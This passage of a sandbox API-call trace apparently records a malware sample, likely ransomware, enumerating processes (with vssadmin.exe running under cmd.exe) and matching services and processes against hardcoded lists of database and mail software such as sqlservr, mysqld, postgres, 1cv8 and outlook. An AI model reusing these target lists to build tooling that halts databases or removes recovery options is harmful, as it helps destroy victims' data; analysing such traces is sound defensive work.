hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0046.332] lstrlenW (lpString="chrome64b.exe") returned 13 [0046.332] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.333] lstrlenW (lpString="cmd.exe") returned 7 [0046.333] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.334] lstrlenW (lpString="conhost.exe") returned 11 [0046.334] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.334] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.334] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.335] lstrlenW (lpString="VSSVC.exe") returned 9 [0046.335] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.336] lstrlenW (lpString="svchost.exe") returned 11 [0046.336] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0046.336] CloseHandle (hObject=0x1f8) returned 1 [0046.336] Sleep (dwMilliseconds=0x1f4) [0047.243] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64a0f8 [0047.243] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0047.243] GetLastError () returned 0xea [0047.243] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0047.244] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0047.244] CloseServiceHandle (hSCObject=0x64a0f8) returned 1 [0047.244] lstrlenW (lpString="Appinfo") returned 7 [0047.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.244] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.244] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.244] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.244] lstrlenW (lpString="AudioSrv") returned 8 [0047.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.245] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.245] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.245] lstrlenW (lpString="BFE") returned 3 [0047.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.245] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.245] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.245] lstrlenW (lpString="CryptSvc") returned 8 [0047.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.245] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.245] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.245] lstrlenW (lpString="CscService") returned 10 [0047.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.245] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.245] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.245] lstrlenW (lpString="DcomLaunch") returned 10 [0047.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.245] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.245] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.245] lstrlenW (lpString="Dhcp") returned 4 [0047.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.245] lstrlenW (lpString="Dnscache") returned 8 [0047.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.246] lstrlenW (lpString="DPS") returned 3 [0047.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.246] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.246] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.246] lstrlenW (lpString="eventlog") returned 8 [0047.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.246] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.246] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.246] lstrlenW (lpString="EventSystem") returned 11 [0047.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.246] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.246] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.246] lstrlenW (lpString="gpsvc") returned 5 [0047.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.246] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.246] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.246] lstrlenW (lpString="iphlpsvc") returned 8 [0047.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.246] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.246] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.246] lstrlenW (lpString="LanmanServer") returned 12 [0047.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.246] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.246] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.247] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.247] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.247] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.247] lstrlenW (lpString="lmhosts") returned 7 [0047.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.247] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.247] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.247] lstrlenW (lpString="MMCSS") returned 5 [0047.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.247] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.247] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.247] lstrlenW (lpString="MpsSvc") returned 6 [0047.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.247] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.247] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.247] lstrlenW (lpString="Netman") returned 6 [0047.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.247] lstrlenW (lpString="netprofm") returned 8 [0047.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.247] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.247] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.247] lstrlenW (lpString="NlaSvc") returned 6 [0047.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.248] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.248] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.248] lstrlenW (lpString="nsi") returned 3 [0047.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.248] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.248] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.248] lstrlenW (lpString="PcaSvc") returned 6 [0047.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.252] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.252] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.252] lstrlenW (lpString="PlugPlay") returned 8 [0047.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.252] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.252] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.252] lstrlenW (lpString="Power") returned 5 [0047.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.253] lstrlenW (lpString="ProfSvc") returned 7 [0047.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.253] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.253] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.253] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.253] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.253] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.253] lstrlenW (lpString="RpcSs") returned 5 [0047.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.253] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.253] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.253] lstrlenW (lpString="SamSs") returned 5 [0047.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.253] lstrlenW (lpString="Schedule") returned 8 [0047.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.253] lstrlenW (lpString="SENS") returned 4 [0047.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.253] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.253] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.254] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.254] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.254] lstrlenW (lpString="Spooler") returned 7 [0047.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.255] lstrlenW (lpString="swprv") returned 5 [0047.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0047.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0047.255] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0047.255] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0047.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0047.255] lstrlenW (lpString="SysMain") returned 7 [0047.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.255] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.255] lstrlenW (lpString="Themes") returned 6 [0047.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.255] lstrlenW (lpString="TrkWks") returned 6 [0047.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.255] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.255] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.256] lstrlenW (lpString="UxSms") returned 5 [0047.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.256] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.256] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.256] lstrlenW (lpString="VSS") returned 3 [0047.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.256] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.256] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.256] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.256] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.256] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.256] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.256] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.256] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.256] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.256] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.256] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.256] lstrlenW (lpString="Winmgmt") returned 7 [0047.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.256] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.257] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.257] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.257] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0047.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0047.259] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.259] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.262] lstrlenW (lpString="System") returned 6 [0047.262] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.262] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.262] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.262] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, 